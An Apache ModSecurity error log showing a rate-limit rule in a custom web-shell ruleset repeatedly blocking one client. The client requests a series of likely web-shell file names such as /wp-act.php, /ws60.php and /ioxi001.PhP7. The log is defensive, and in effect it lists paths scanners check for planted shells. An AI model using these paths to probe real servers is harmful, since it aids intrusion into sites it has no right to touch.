[Tue Apr 14 02:34:40.475686 2026] [:error] [pid 59915:tid 59982] [client 20.220.194.201:23719] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "ad03QIeTNdEemByf99hVpAAAAIs"]
[Tue Apr 14 02:34:41.478618 2026] [:error] [pid 59914:tid 59954] [client 20.220.194.201:28852] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "ad03Qeq0YMmB3OWbbUlhcgAAAEo"]
[Tue Apr 14 02:34:42.355038 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:37620] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoo.php"] [unique_id "ad03Quq0YMmB3OWbbUlhcwAAAEI"]
[Tue Apr 14 02:34:43.309474 2026] [:error] [pid 59914:tid 59960] [client 20.220.194.201:26764] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoo.php"] [unique_id "ad03Q-q0YMmB3OWbbUlhdQAAAFA"]
[Tue Apr 14 02:34:44.255363 2026] [:error] [pid 59915:tid 59980] [client 20.220.194.201:18864] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoo.php"] [unique_id "ad03RIeTNdEemByf99hVrAAAAIk"]
[Tue Apr 14 02:34:45.001651 2026] [:error] [pid 59915:tid 59994] [client 20.220.194.201:36768] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoo.php"] [unique_id "ad03RYeTNdEemByf99hVsAAAAJc"]
[Tue Apr 14 02:34:45.692073 2026] [:error] [pid 60317:tid 60350] [client 20.220.194.201:31469] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "ad03RbBo7Bc8I7P_P--7rgAAAMo"]
[Tue Apr 14 02:34:46.424800 2026] [:error] [pid 59915:tid 59985] [client 20.220.194.201:23508] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "ad03RoeTNdEemByf99hVtAAAAI4"]
[Tue Apr 14 02:34:46.946781 2026] [:error] [pid 59915:tid 59992] [client 20.220.194.201:28837] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "ad03RoeTNdEemByf99hVtgAAAJU"]
[Tue Apr 14 02:34:47.903954 2026] [:error] [pid 60317:tid 60356] [client 20.220.194.201:23518] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaza.php"] [unique_id "ad03R7Bo7Bc8I7P_P--7tAAAANA"]
[Tue Apr 14 02:34:48.916453 2026] [:error] [pid 59913:tid 59930] [client 20.220.194.201:21424] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "ad03SK5XvQ9C-gZtr2y7lQAAAA0"]
[Tue Apr 14 02:34:49.823830 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:18822] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "ad03SbBo7Bc8I7P_P--7tgAAANU"]
[Tue Apr 14 02:34:50.540138 2026] [:error] [pid 59913:tid 59929] [client 20.220.194.201:21245] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "ad03Sq5XvQ9C-gZtr2y7mAAAAAw"]
[Tue Apr 14 02:34:51.434167 2026] [:error] [pid 59913:tid 59919] [client 20.220.194.201:16289] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/grsiuk.php"] [unique_id "ad03S65XvQ9C-gZtr2y7mwAAAAI"]
[Tue Apr 14 02:34:52.073456 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:22246] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "ad03TIeTNdEemByf99hVvQAAAIg"]
[Tue Apr 14 02:34:52.617613 2026] [:error] [pid 60317:tid 60348] [client 20.220.194.201:29775] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "ad03TLBo7Bc8I7P_P--7vAAAAMg"]
[Tue Apr 14 02:34:53.589201 2026] [:error] [pid 59914:tid 59960] [client 20.220.194.201:26100] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "ad03Teq0YMmB3OWbbUlhgwAAAFA"]
[Tue Apr 14 02:34:54.249699 2026] [:error] [pid 59915:tid 59992] [client 20.220.194.201:20110] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "ad03ToeTNdEemByf99hVvwAAAJU"]
[Tue Apr 14 02:34:54.755639 2026] [:error] [pid 60317:tid 60346] [client 20.220.194.201:34110] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "ad03TrBo7Bc8I7P_P--7xAAAAMY"]
[Tue Apr 14 02:34:55.624289 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:19946] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "ad03T4eTNdEemByf99hVwAAAAJI"]
[Tue Apr 14 02:34:56.519168 2026] [:error] [pid 59913:tid 59935] [client 20.220.194.201:26755] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "ad03UK5XvQ9C-gZtr2y7pAAAABI"]
[Tue Apr 14 02:34:57.043089 2026] [:error] [pid 59913:tid 59926] [client 20.220.194.201:23525] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "ad03Ua5XvQ9C-gZtr2y7qAAAAAk"]
[Tue Apr 14 02:34:57.756009 2026] [:error] [pid 59913:tid 59934] [client 20.220.194.201:26813] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ad03Ua5XvQ9C-gZtr2y7rQAAABE"]
[Tue Apr 14 02:34:58.393916 2026] [:error] [pid 59913:tid 59929] [client 20.220.194.201:33324] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ad03Uq5XvQ9C-gZtr2y7sQAAAAw"]
[Tue Apr 14 02:34:58.960464 2026] [:error] [pid 59913:tid 59917] [client 20.220.194.201:26768] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ad03Uq5XvQ9C-gZtr2y7swAAAAA"]
[Tue Apr 14 02:34:59.587738 2026] [:error] [pid 60317:tid 60341] [client 20.220.194.201:24246] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "ad03U7Bo7Bc8I7P_P--7yAAAAME"]
[Tue Apr 14 02:35:00.363561 2026] [:error] [pid 59915:tid 59993] [client 20.220.194.201:29799] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "ad03VIeTNdEemByf99hVywAAAJY"]
[Tue Apr 14 02:35:01.246499 2026] [:error] [pid 59915:tid 59994] [client 20.220.194.201:27328] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "ad03VYeTNdEemByf99hV0AAAAJc"]
[Tue Apr 14 02:35:01.921907 2026] [:error] [pid 60317:tid 60347] [client 20.220.194.201:31473] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "ad03VbBo7Bc8I7P_P--70QAAAMc"]
[Tue Apr 14 02:35:02.756781 2026] [:error] [pid 59913:tid 59941] [client 20.220.194.201:32864] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws60.php"] [unique_id "ad03Vq5XvQ9C-gZtr2y7ugAAABg"]
[Tue Apr 14 02:35:03.576450 2026] [:error] [pid 59915:tid 59987] [client 20.220.194.201:28809] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "ad03V4eTNdEemByf99hV1gAAAJA"]
[Tue Apr 14 02:35:04.433283 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:17352] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "ad03WIeTNdEemByf99hV2gAAAIE"]
[Tue Apr 14 02:35:05.402595 2026] [:error] [pid 59913:tid 59939] [client 20.220.194.201:28874] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "ad03Wa5XvQ9C-gZtr2y7wQAAABY"]
[Tue Apr 14 02:35:07.911360 2026] [:error] [pid 59913:tid 59940] [client 20.220.194.201:19599] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vanda.php"] [unique_id "ad03W65XvQ9C-gZtr2y7ygAAABc"]
[Tue Apr 14 02:35:09.053548 2026] [:error] [pid 59913:tid 59937] [client 20.220.194.201:24482] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "ad03Xa5XvQ9C-gZtr2y7zAAAABQ"]
[Tue Apr 14 02:35:10.949139 2026] [:error] [pid 59915:tid 59982] [client 20.220.194.201:28815] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "ad03XoeTNdEemByf99hV7wAAAIs"]
[Tue Apr 14 02:35:11.732496 2026] [:error] [pid 59914:tid 59951] [client 20.220.194.201:14621] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "ad03X-q0YMmB3OWbbUlhpQAAAEc"]
[Tue Apr 14 02:35:13.288409 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:15170] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "ad03Yeq0YMmB3OWbbUlhqAAAAE8"]
[Tue Apr 14 02:35:15.041685 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:22158] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "ad03Y4eTNdEemByf99hV9gAAAJg"]
[Tue Apr 14 02:35:16.854406 2026] [:error] [pid 59913:tid 59921] [client 20.220.194.201:22663] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "ad03ZK5XvQ9C-gZtr2y73AAAAAQ"]
[Tue Apr 14 02:35:19.200768 2026] [:error] [pid 59913:tid 59939] [client 20.220.194.201:33461] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "ad03Z65XvQ9C-gZtr2y74wAAABY"]
[Tue Apr 14 02:35:19.864894 2026] [:error] [pid 59913:tid 59941] [client 20.220.194.201:29281] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/144.php"] [unique_id "ad03Z65XvQ9C-gZtr2y75QAAABg"]
[Tue Apr 14 02:35:20.458498 2026] [:error] [pid 59915:tid 59995] [client 20.220.194.201:29001] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "ad03aIeTNdEemByf99hWAAAAAJg"]
[Tue Apr 14 02:35:21.090746 2026] [:error] [pid 60317:tid 60362] [client 20.220.194.201:29989] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "ad03abBo7Bc8I7P_P--74QAAANY"]
[Tue Apr 14 02:35:22.309532 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:36012] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd.php"] [unique_id "ad03arBo7Bc8I7P_P--75AAAANU"]
[Tue Apr 14 02:35:41.827406 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:35602] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi001.PhP7"] [unique_id "ad03fbBo7Bc8I7P_P--8SQAAANU"]
[Tue Apr 14 02:35:42.740154 2026] [:error] [pid 59913:tid 59923] [client 20.220.194.201:15888] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi001.PhP7"] [unique_id "ad03fq5XvQ9C-gZtr2y7-QAAAAY"]
[Tue Apr 14 02:35:43.346114 2026] [:error] [pid 60317:tid 60353] [client 20.220.194.201:24526] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi001.PhP7"] [unique_id "ad03f7Bo7Bc8I7P_P--8SwAAAM0"]
[Tue Apr 14 02:35:43.998429 2026] [:error] [pid 59915:tid 59993] [client 20.220.194.201:27281] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi001.PhP7"] [unique_id "ad03f4eTNdEemByf99hWNQAAAJY"]
[Tue Apr 14 02:35:44.550841 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:27622] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "ad03gIeTNdEemByf99hWNwAAAIU"]
[Tue Apr 14 02:35:45.475641 2026] [:error] [pid 59915:tid 59993] [client 20.220.194.201:23010] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "ad03gYeTNdEemByf99hWOwAAAJY"]
[Tue Apr 14 02:35:46.401105 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:12897] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "ad03goeTNdEemByf99hWPwAAAI0"]
[Tue Apr 14 02:35:47.155474 2026] [:error] [pid 59913:tid 59922] [client 20.220.194.201:27595] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "ad03g65XvQ9C-gZtr2y8AgAAAAU"]
[Tue Apr 14 02:35:47.869087 2026] [:error] [pid 59915:tid 59994] [client 20.220.194.201:32864] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "ad03g4eTNdEemByf99hWRQAAAJc"]
[Tue Apr 14 02:35:48.560825 2026] [:error] [pid 59915:tid 59980] [client 20.220.194.201:3799] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "ad03hIeTNdEemByf99hWRwAAAIk"]
[Tue Apr 14 02:35:49.550862 2026] [:error] [pid 59913:tid 59933] [client 20.220.194.201:3805] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "ad03ha5XvQ9C-gZtr2y8CgAAABA"]
[Tue Apr 14 02:35:50.856649 2026] [:error] [pid 59914:tid 59946] [client 20.220.194.201:18653] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hehe.php"] [unique_id "ad03huq0YMmB3OWbbUlh2gAAAEI"]
